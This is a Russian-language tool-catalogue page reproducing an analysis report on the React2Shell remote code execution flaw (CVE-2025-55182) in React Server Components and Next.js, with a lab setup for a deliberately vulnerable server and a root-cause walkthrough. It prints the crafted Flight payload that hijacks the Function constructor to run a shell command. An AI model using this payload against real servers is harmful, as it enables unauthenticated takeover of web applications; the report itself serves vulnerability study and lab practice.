Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — также известный как React2Shell | Kitploit
Инструменты/GitHubGitHub/ycseo-git/cve-2025-55182
Безопасность контейнеровДинамический анализ (песочница)Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийCTFОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHub
144 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
ycseo-git/cve-2025-55182

CVE-2025-55182

также известный как React2Shell

Репозиторий

CVE-2025-55182 Отчет об анализе React2Shell

Разделы, требуемые руководящими принципами задания, отмечены "(Required)".

1. Окружение (Required)

1.1. Dockerfile (Required)

В данном окружении используется собственный Dockerfile на основе официального образа Node.js Alpine.

FROM node:20-alpine

WORKDIR /app

COPY package.json ./
RUN npm install --legacy-peer-deps

COPY . .

EXPOSE 3000

CMD ["npm", "run", "dev"]

Dockerfile собирает уязвимое окружение с React Server Components (RSC) и Next.js App Router.

Окружение устанавливает уязвимые версии:

  • React 19 RC
  • React Server DOM Webpack
  • Next.js 15.0.0

Уязвимый сервер запускается в режиме разработки с помощью npm run dev.

Уязвимый сервер запускается в режиме разработки с помощью npm run dev.


1.2. Архитектура сервиса (Required)

Окружение работает по следующей структуре:

[Атакующий / exploit.py]
          ↓
[Next.js App Router]
          ↓
[Парсер React Flight Protocol]
          ↓
[Среда выполнения React Server Components]
          ↓
[Среда выполнения Node.js]

Атакующий / exploit.py

Атакующий отправляет специально сформированный multipart/form-data запрос на уязвимое приложение Next.js.

Вредоносная полезная нагрузка злоупотребляет процессом десериализации протокола React Flight.

Next.js App Router

Уязвимое приложение использует архитектуру Next.js App Router.

Запрос обрабатывается через конвейер React Server Components.

Исходный код приложения находится в каталоге src/app/.

src/
 └── app/
     ├── layout.js
     └── page.js

Файл layout.js определяет корневой макет, необходимый для структуры App Router, и инициализирует среду React Server Components.

export default function RootLayout({ children }) {
  return (<html><body>{children}</body></html>);
}

Файл page.js определяет корневую страницу, отображаемую в /, и выводит простое сообщение о том, что уязвимый сервер работает.

export default function Page() {
    return (<h1>Vulnerable Server</h1>);
  }

Зависимости проекта и скрипты выполнения управляются через файл package.json.

{
    "name": "cve-2025-55182-vuln-app",
    "version": "1.0.0",
    "private": true,
    "scripts": {
        "dev": "next dev -p 3000"
    },
    "dependencies": {
        "next": "15.0.0",
        "react": "19.0.0-rc-65a56d0e-20241020",
        "react-dom": "19.0.0-rc-65a56d0e-20241020",
        "react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
    }
}

Этот файл определяет уязвимые версии:

  • Next.js
  • React
  • react-dom
  • react-server-dom-webpack

Уязвимое приложение запускается с помощью:

"scripts": {
  "dev": "next dev"
}

Сервер запускается через:

npm run dev

что запускает уязвимый сервер разработки Next.js на порту 3000.

Парсер React Flight Protocol

Протокол Flight десериализует сложные объекты React, такие как:

  • Ссылки на Promise
  • Ссылки на Blob
  • Ссылки на Chunk
  • Серверные действия
  • Циклические ссылки

Уязвимость возникает в ходе этого процесса десериализации.

Среда выполнения React Server Components

Среда выполнения React обрабатывает подконтрольные атакующему полезные нагрузки Flight.

Небезопасный обход свойств и доступ к прототипу в конечном итоге позволяют атакующим перехватить конструктор Function.

Среда выполнения Node.js

После успешной эксплуатации произвольный код JavaScript выполняется внутри серверного окружения Node.js.

Это приводит к удаленному выполнению кода (RCE).


1.3. Образы и версии (Required)

КомпонентВерсия
Node.js20-alpine
Next.js15.0.0
React19.0.0-rc
react-dom19.0.0-rc
react-server-dom-webpack19.0.0-rc

Окружение использует уязвимые реализации React Server Components и протокола Flight.

2. Основная причина (Required)

2.1. Описание уязвимости (Required)

CVE-2025-55182, также известный как React2Shell, — это критическая уязвимость удаленного выполнения кода (RCE), затрагивающая React Server Components и протокол React Flight.

Уязвимость возникает в процессе десериализации подконтрольных атакующему полезных нагрузок протокола Flight.

Проблема позволяет атакующим:

  • создавать поддельные объекты chunk
  • злоупотреблять обходом прототипа
  • перехватывать конструктор Function
  • выполнять произвольный код JavaScript на сервере

Уязвимость особенно опасна, поскольку эксплуатация может происходить без аутентификации с помощью одного специально сформированного HTTP-запроса.

Приложения, использующие уязвимые версии React Server Components и конфигурации Next.js App Router, напрямую подвержены риску.


2.2. Анализ основной причины (Required)

Основная причина уязвимости — небезопасная обработка подконтрольных атакующему ссылок на объекты во время десериализации протокола Flight.

React Flight внутренне использует специальные строки ссылок, такие как:

$@0
$B1337
$1:__proto__:then

Эти ссылки рекурсивно разрешаются во время десериализации.

Уязвимая логика выполняет обход свойств, аналогичный:

value[path[i]]

без проверки, принадлежит ли свойство самому объекту.

В результате атакующие могут получить доступ к опасным свойствам цепочки прототипов JavaScript, таким как:

__proto__
constructor
prototype

Это в конечном итоге позволяет осуществить загрязнение прототипа и перехват конструктора Function.

Создание поддельного Chunk

Атакующий сначала создает поддельный объект chunk React.

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "touch /tmp/success.txt",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Критическое поле:

"status": "resolved_model"

Среда выполнения React ошибочно доверяет этому полю и обрабатывает подконтрольный атакующему объект как легитимный внутренний объект chunk.

Загрязнение прототипа

Полезная нагрузка:

$1:__proto__:then

заставляет десериализатор обходить цепочку прототипов JavaScript.

Поскольку уязвимый код не проверяет опасные свойства, атакующий получает доступ к:

Chunk.prototype.then

Это превращает поддельный chunk в thenable-объект.

Перехват конструктора Function

Полезная нагрузка:

$1:constructor:constructor

в конечном итоге разрешается в:

Function

Это заменяет:

response._formData.get

на глобальный конструктор Function JavaScript.

В результате становится возможным:

Function(attacker_controlled_payload)

Триггер разбора Blob

Полезная нагрузка:

$B1337

заставляет парсер React Flight перейти в логику разбора Blob.

В ходе этого процесса выполняется:

response._formData.get(...)

Однако атакующий уже заменил эту функцию на глобальный конструктор Function.

Это окончательно приводит к выполнению произвольного кода JavaScript внутри среды выполнения Node.js.


2.3. Процесс запуска уязвимости (Required)

Процесс эксплуатации происходит в следующем порядке:

Запрос атакующего
        ↓
Разбор полезной нагрузки Flight
        ↓
Создание поддельного Chunk
        ↓
Загрязнение прототипа
        ↓
Перехват конструктора Function
        ↓
Триггер разбора Blob
        ↓
Разрешение Promise
        ↓
Удаленное выполнение кода

Атакующий сначала отправляет специально сформированный многокомпонентный Flight-запрос.

Уязвимый сервер десериализует вредоносную полезную нагрузку и рекурсивно разрешает подконтрольные атакующему ссылки.

Небезопасный обход прототипа в конечном итоге позволяет атакующему перехватить конструктор Function.

Скачать инструмент